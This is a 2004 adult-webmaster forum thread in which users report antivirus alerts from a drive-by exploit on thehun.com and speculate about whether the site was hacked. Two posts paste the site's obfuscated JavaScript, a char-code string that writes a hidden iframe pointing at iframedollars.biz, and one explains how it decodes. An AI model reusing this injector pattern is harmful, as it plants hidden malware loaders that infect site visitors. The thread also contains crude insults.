TheHun loading a trojan? huh? - GoFuckYourself.com

dropped9 · 12-29-2004, 12:48 PM

When I goto the hun my mcafee pops up with Exploit-Mhtredir.gen and Exploit-ByteVerify

Wtf is this?

http://thehun.com/

Pete-KT · 12-29-2004, 12:49 PM

I was just there and I didnt get anything are you sure its not already on your computer from something else.

pete

brand0n · 12-29-2004, 12:50 PM

nothing here.

dropped9 · 12-29-2004, 12:50 PM

Quote:

Originally Posted by Pete-KT

I was just there and I didnt get anything are you sure its not already on your computer from something else.

pete

Highly doubt it considering I havent gotten it before, and havent installed anything new or anything recently.

Corleone · 12-29-2004, 12:52 PM

maybe you're infected with spyware..

everythings fine for me

AdultNex · 12-29-2004, 12:52 PM

Why are people so naive to post such things?

Yeah, TheHun decided to piss off his surfers... So he put a dialer and exit popup-hell on the page.

plyndrty · 12-29-2004, 12:53 PM

I am getting it to. Checked my computer and eveything seems to be ok.

TheFrog · 12-29-2004, 12:53 PM

seems like his server must have been hacked or something

dropped9 · 12-29-2004, 12:54 PM

Quote:

Originally Posted by AdultNex

Why are people so naive to post such things?

Yeah, TheHun decided to piss off his surfers... So he put a dialer and exit popup-hell on the page.

Are you running mcafee? I highly doubt it.

sandman! · 12-29-2004, 12:55 PM

i get the iframe also loading an exploit.

brand0n · 12-29-2004, 12:55 PM

Quote:

Originally Posted by AdultNex

Why are people so naive to post such things?

Yeah, TheHun decided to piss off his surfers... So he put a dialer and exit popup-hell on the page.

maybe cuz he wanted an a fast response?

who are you btw? do you work for vitamax? ive just noticed how much of a ramrod you are recently.

Dirty F · 12-29-2004, 12:56 PM

Headless, i know youre a half ass webmaster but even half ass webmasters should know how spyware works.

Holly · 12-29-2004, 12:59 PM

Yep. My Norton caught it, too.

MHTMLredir.exploit

I also saw the url iframedollars.biz (or something) at the bottom.

Quickdraw · 12-29-2004, 12:59 PM

I get it too

Jon2 · 12-29-2004, 12:59 PM

none, the hun gets revenue from pre-paid gallery placements on the top 15 spaces and banners. the rest of the galleries are free placements.

polish_aristocrat · 12-29-2004, 01:00 PM

i also get this with my norton

dropped9 · 12-29-2004, 01:01 PM

Quote:

Originally Posted by Battuss

Headless, i know youre a half ass webmaster but even half ass webmasters should know how spyware works.

This coming from someone who can't even book a flight correctly. Please stfu.

AlienQ - BANNED FOR LIFE · 12-29-2004, 01:02 PM

Fascinating.

dropped9 · 12-29-2004, 01:03 PM

I guess you idiots with stupid comments never heard of "hijackthis".

TheSenator · 12-29-2004, 01:05 PM

shit... I got too....

Is the infection bad?

Holly · 12-29-2004, 01:07 PM

I just looked and the name of the file that Norton fixed/quarantined was:

adv478.php

It was in my temp internet files and said the same thing about being the MHTMLredir.exploit

Hooterdog · 12-29-2004, 01:10 PM

i get it too

reynold · 12-29-2004, 01:14 PM

Quote:

Originally Posted by Holly

Yep. My Norton caught it, too.

MHTMLredir.exploit

I also saw the url iframedollars.biz (or something) at the bottom.

yeah me too

AdultNex · 12-29-2004, 01:15 PM

Quote:

Originally Posted by Headless

I guess you idiots with stupid comments never heard of "hijackthis".

I take back my previous comment, I don't use that newbie Norton/McAfee shit (Go with AVG or NOD32). So when I visited, it went by undetected.

This Russian guy is good though, he's responsible for 3 other hijack exploits.

dropped9 · 12-29-2004, 01:17 PM

Quote:

Originally Posted by AdultNex

I take back my previous comment, I don't use that newbie Norton/McAfee shit (Go with AVG or NOD32). So when I visited, it went by undetected.

This Russian guy is good though, he's responsible for 3 other hijack exploits.

Hmmmm funny how the "newbie Norton/McAfee shit" caught it first.

hahahaha keep on keeping on... thats why we @ gfy love you guys..

Drake · 12-29-2004, 01:19 PM

I got it too. It only happened the first time I visited today. I didn't save the message but norton popped up with it's warning.

AdultNex · 12-29-2004, 01:22 PM

Quote:

Originally Posted by Headless

Hmmmm funny how the "newbie Norton/McAfee shit" caught it first.

hahahaha keep on keeping on... thats why we @ gfy love you guys..

Bah, I meant to say it didn't popup a warning, but it still cleaned the file.

The settings I have my NOD32 are on "high risk", meaning it warns me only about high-risk viruses/trojans... Not some half-assed hijacker that any idiot can remove.

davethetruth · 12-29-2004, 01:24 PM

I got the Trojan and MHTMLRedir.Exploit too with my Norton.

Juicy D. Links · 12-29-2004, 01:30 PM

Quote:

Originally Posted by davethetruth

I got the Trojan and MHTMLRedir.Exploit too with my Norton.

I got it also

Holly · 12-29-2004, 01:32 PM

Quote:

Originally Posted by AdultNex

Bah, I meant to say it didn't popup a warning, but it still cleaned the file.

The settings I have my NOD32 are on "high risk", meaning it warns me only about high-risk viruses/trojans... Not some half-assed hijacker that any idiot can remove.

Hate to burst your bubble, but I can set my Norton not to alert me, as well. I suppose I could also buy some special, elite smoke detectors for my house that only send out silent alarms when it's on fire, but I'd rather know when there's a problem. I'm crazy like that.

Crypt · 12-29-2004, 03:54 PM

hummmmmmm ...
adv478 Stats

Hackers do bank those days

More Booze · 12-29-2004, 03:59 PM

Quote:

Originally Posted by Crypt

hummmmmmm ...
adv478 Stats

Hackers do bank those days

Nice, where do I signup? :P

Platinumpimp · 12-29-2004, 04:01 PM

I got it too

AlienQ - BANNED FOR LIFE · 12-29-2004, 04:02 PM

Quote:

Originally Posted by Crypt

hummmmmmm ...
adv478 Stats

Hackers do bank those days

Page is down now.

Crypt · 12-29-2004, 04:05 PM

Quote:

Originally Posted by AlienQ

Page is down now.

Russians are fast.. lol

it was something like 1200$ for yesterday

NaughtyRob · 12-29-2004, 04:11 PM

Got it from them a few days ago.

SpeakEasy · 12-29-2004, 04:19 PM

I just checked myself and My Norons also just picked it up and auto deleted it, but Headless is correct.

TheMob · 12-29-2004, 04:20 PM

Quote:

Originally Posted by TheFrog

seems like his server must have been hacked or something

must happen all the time

TheMob · 12-29-2004, 04:21 PM

Quote:

Originally Posted by Crypt

hummmmmmm ...
adv478 Stats

Hackers do bank those days

I can't get to it? what is it?

Mike D · 12-29-2004, 04:29 PM

Yep...Did the same thing to me

Mike...........

emthree · 12-29-2004, 04:30 PM

http://www.microsoft.com/technet/sec.../ms04-013.mspx

Fatalspeed · 12-29-2004, 04:31 PM

I am not getting anything here... hmm

emthree · 12-29-2004, 04:32 PM

Quote:

Originally Posted by TheMob

I can't get to it? what is it?

Remote Stats.

More Booze · 12-29-2004, 04:44 PM

Quote:

Originally Posted by TheMob

I can't get to it? what is it?

jerry_31 · 12-29-2004, 08:02 PM

Quote:

Originally Posted by Corleone

maybe you're infected with spyware..

everythings fine for me

the iframe is called from his own java script.
var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!11 6!116!112!58!47!47!105!102!114!97!109!101!100!111! 108!108!97!114!115!46!98!105!122!47!115!49!54!52!4 6!104!116!109!108!34!32!87!73!68!84!72!61!48!32!66 !79!82!68!69!82!61!48!32!72!69!73!71!72!84!61!48!3 2!115!116!121!108!101!61!34!100!105!115!112!108!97 !121!58!110!111!110!101!34!62!60!47!73!70!82!65!77 !69!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp=""; }document.write(out);

Either he likes the extra money or his site has been hacked.
The script builds the string for the iframe.

groark · 12-29-2004, 08:11 PM

This is bad. I hope it will be fixed soon

SmokeyTheBear · 12-29-2004, 08:11 PM

The hun has its own forum , i have let them know , they dont seem to care..

Veterans Day · 12-29-2004, 08:14 PM

those trojans are loaded on damn near every shady tgp online. Nothin new and exotic by any means

jerry_31 · 12-29-2004, 08:15 PM

its just the asci code
60 = <
73 = i
70 = f
82 = r and so on.
document.write puts out <iframe......iframedollars.biz> . Then iframedollars starts the fucking exploit.

fünkmaster · 12-29-2004, 08:18 PM

... the code on thehun.com is encrypted, stop blaming russian hackers, the owner of the site is doing it himself.

var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!11 6!116 !112!58!47!47!105!102!114!97!109!101!100!111!108!1 08!97!114!115!46!98!105!122!47!115!49!54!52!46!104 !116!109!108!34!32!87!73!68!84!72!61!48!32!66!79!8 2!68!69!82!61!48!32!72!69!73!71!72!84!61!48!32!115 !116!121!108!101!61!34!100!105!115!112!108!97!121! 58!110!111!110!101!34!62!60!47!73!70!82!65!77!69!6 2!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp=""; }document.write(out);

... muchahahha, caught with your pants down.

12-29-2004, 12:48 PM	#1
dropped9 Registered User Industry Role: Join Date: Jan 2001 Location: Your moms box Posts: 26,727	TheHun loading a trojan? huh? When I goto the hun my mcafee pops up with Exploit-Mhtredir.gen and Exploit-ByteVerify Wtf is this? http://thehun.com/

12-29-2004, 12:50 PM	#3
brand0n been very busy Join Date: Nov 2002 Location: the queen city Posts: 26,983	nothing here. __________________ want to buy this spot for cheap? it is of course for sale. long term deals are always the best bet. brand0n/ at/ a o l dot commies.

12-29-2004, 12:53 PM	#7
plyndrty Confirmed User Join Date: Jul 2003 Location: Tampa Posts: 1,477	I am getting it to. Checked my computer and eveything seems to be ok. __________________ Free Porno You Porn Fuck

12-29-2004, 12:55 PM	#10
sandman! Icq: 14420613 Industry Role: Join Date: Mar 2001 Location: chicago Posts: 15,432	i get the iframe also loading an exploit. __________________ Need WebHosting ? Email me for some great deals [email protected]

12-29-2004, 12:59 PM	#13
Holly Too lazy to set a custom title Join Date: Jun 2003 Location: Jesusland Posts: 10,017	Yep. My Norton caught it, too. MHTMLredir.exploit I also saw the url iframedollars.biz (or something) at the bottom. __________________ War National Damn Champions Eagle

12-29-2004, 12:49 PM	#2
Pete-KT Workin With The Devil Industry Role: Join Date: Oct 2004 Location: West Bloomfield, MI Posts: 51,532	I was just there and I didnt get anything are you sure its not already on your computer from something else. pete

12-29-2004, 12:52 PM	#5
Corleone C.R.E.A.M Industry Role: Join Date: Apr 2003 Posts: 15,262	maybe you're infected with spyware.. everythings fine for me

12-29-2004, 12:52 PM	#6
AdultNex Confirmed User Join Date: Feb 2003 Location: Bostonnnn Posts: 8,985	Why are people so naive to post such things? Yeah, TheHun decided to piss off his surfers... So he put a dialer and exit popup-hell on the page.

12-29-2004, 12:53 PM	#8
TheFrog Confirmed User Join Date: Jan 2004 Posts: 4,095	seems like his server must have been hacked or something

12-29-2004, 12:56 PM	#12
Dirty F Too lazy to set a custom title Industry Role: Join Date: Jul 2001 Posts: 59,204	Headless, i know youre a half ass webmaster but even half ass webmasters should know how spyware works.

12-29-2004, 12:59 PM	#14
Quickdraw Confirmed User Join Date: Mar 2004 Location: → → → Posts: 1,717	I get it too

12-29-2004, 12:59 PM	#15
Jon2 So Fucking Banned Join Date: Aug 2001 Posts: 2,875	none, the hun gets revenue from pre-paid gallery placements on the top 15 spaces and banners. the rest of the galleries are free placements.

12-29-2004, 01:00 PM	#16
polish_aristocrat Too lazy to set a custom title Join Date: Jul 2002 Posts: 40,377	i also get this with my norton __________________ I don't use ICQ anymore.

12-29-2004, 01:02 PM	#18
AlienQ - BANNED FOR LIFE best designer on GFY Join Date: Mar 2003 Location: IALIEN.COM - High Definition Video and Photographic Productions -ICQ 78943384 Posts: 30,307	Fascinating. __________________ NAKED HOSTING FTW!11 I'm On The INSANE PLAN $9.95/mo! \| The Alien Blog Adult News Worth Reading Updated Daily \| Content For Sale! 641 PICS 216 MINUTES OF VIDEO $350.00 \|ICQ: 78943384 \|

12-29-2004, 01:03 PM	#19
dropped9 Registered User Industry Role: Join Date: Jan 2001 Location: Your moms box Posts: 26,727	I guess you idiots with stupid comments never heard of "hijackthis".

12-29-2004, 01:05 PM	#20
TheSenator Too lazy to set a custom title Industry Role: Join Date: Feb 2003 Location: NJ Posts: 13,336	shit... I got too.... Is the infection bad? __________________ ISeekGirls.com since 2005

12-29-2004, 01:07 PM	#21
Holly Too lazy to set a custom title Join Date: Jun 2003 Location: Jesusland Posts: 10,017	I just looked and the name of the file that Norton fixed/quarantined was: adv478.php It was in my temp internet files and said the same thing about being the MHTMLredir.exploit __________________ War National Damn Champions Eagle

12-29-2004, 01:10 PM	#22
Hooterdog Confirmed User Join Date: Mar 2002 Location: Cincy Posts: 602	i get it too

12-29-2004, 01:19 PM	#26
Drake Hello world! Industry Role: Join Date: Mar 2003 Posts: 12,508	I got it too. It only happened the first time I visited today. I didn't save the message but norton popped up with it's warning.

12-29-2004, 01:24 PM	#28
davethetruth Confirmed User Join Date: Jan 2004 Location: Los Angeles Posts: 2,806	I got the Trojan and MHTMLRedir.Exploit too with my Norton. __________________ Rainbow Revenue- The BEST Gay Conversions New Sex Toy Affiliate Program! Get $10.00 Just For Joining! Choose from two Sex Toy Stores to promote: BedroomSports- Since 1998 - Now New & Improved! VibratorWarehouse- New Site with Excellent Conversions!

12-29-2004, 03:54 PM	#31
Crypt Confirmed User Join Date: Apr 2004 Posts: 2,225	hummmmmmm ... adv478 Stats Hackers do bank those days

12-29-2004, 04:01 PM	#33
Platinumpimp Logos and such. Industry Role: Join Date: Jan 2004 Location: Kingdom of the Netherlands Posts: 10,214	I got it too __________________ I design logo's.

12-29-2004, 04:11 PM	#36
NaughtyRob Two fresh affiliate progs Industry Role: Join Date: Nov 2004 Location: Inside teen pussy Posts: 29,602	Got it from them a few days ago. __________________ [email protected] Skype: 17026955414 Vacares Web Hosting - Protect Your Ass with Included Daily Backups

12-29-2004, 04:19 PM	#37
SpeakEasy Confirmed User Join Date: Sep 2002 Location: The Internet Posts: 2,681	I just checked myself and My Norons also just picked it up and auto deleted it, but Headless is correct.

12-29-2004, 04:29 PM	#40
Mike D Confirmed User Join Date: Jan 2002 Posts: 1,133	Yep...Did the same thing to me Mike........... __________________ Mike D

12-29-2004, 04:30 PM	#41
emthree Dialer Kingpin Join Date: Jun 2003 Location: New York Posts: 10,816	http://www.microsoft.com/technet/sec.../ms04-013.mspx __________________ • Sell Patches & Pills •

12-29-2004, 04:31 PM	#42
Fatalspeed Confirmed User Join Date: Sep 2002 Location: How'm I gonna get a scar like that eating pussy? Posts: 2,100	I am not getting anything here... hmm __________________ Faber est quisque fortunae suae

12-29-2004, 08:11 PM	#46
groark So Fucking Banned Join Date: Nov 2003 Location: Germany Posts: 1,966	This is bad. I hope it will be fixed soon

12-29-2004, 08:11 PM	#47
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	The hun has its own forum , i have let them know , they dont seem to care.. __________________ hatisblack at yahoo.com

12-29-2004, 08:14 PM	#48
Veterans Day Confirmed User Join Date: Jul 2003 Location: The Windy City Posts: 8,403	those trojans are loaded on damn near every shady tgp online. Nothin new and exotic by any means __________________ Build a Massive Traffic Network, Hands FREE, Totally Automated

12-29-2004, 08:15 PM	#49
jerry_31 Registered User Join Date: Oct 2003 Posts: 29	its just the asci code 60 = < 73 = i 70 = f 82 = r and so on. document.write puts out <iframe......iframedollars.biz> . Then iframedollars starts the fucking exploit.

12-29-2004, 08:18 PM	#50
fünkmaster So Fucking Banned Join Date: Nov 2004 Posts: 791	... the code on thehun.com is encrypted, stop blaming russian hackers, the owner of the site is doing it himself. var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!11 6!116 !112!58!47!47!105!102!114!97!109!101!100!111!108!1 08!97!114!115!46!98!105!122!47!115!49!54!52!46!104 !116!109!108!34!32!87!73!68!84!72!61!48!32!66!79!8 2!68!69!82!61!48!32!72!69!73!71!72!84!61!48!32!115 !116!121!108!101!61!34!100!105!115!112!108!97!121! 58!110!111!110!101!34!62!60!47!73!70!82!65!77!69!6 2!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp=""; }document.write(out); ... muchahahha, caught with your pants down.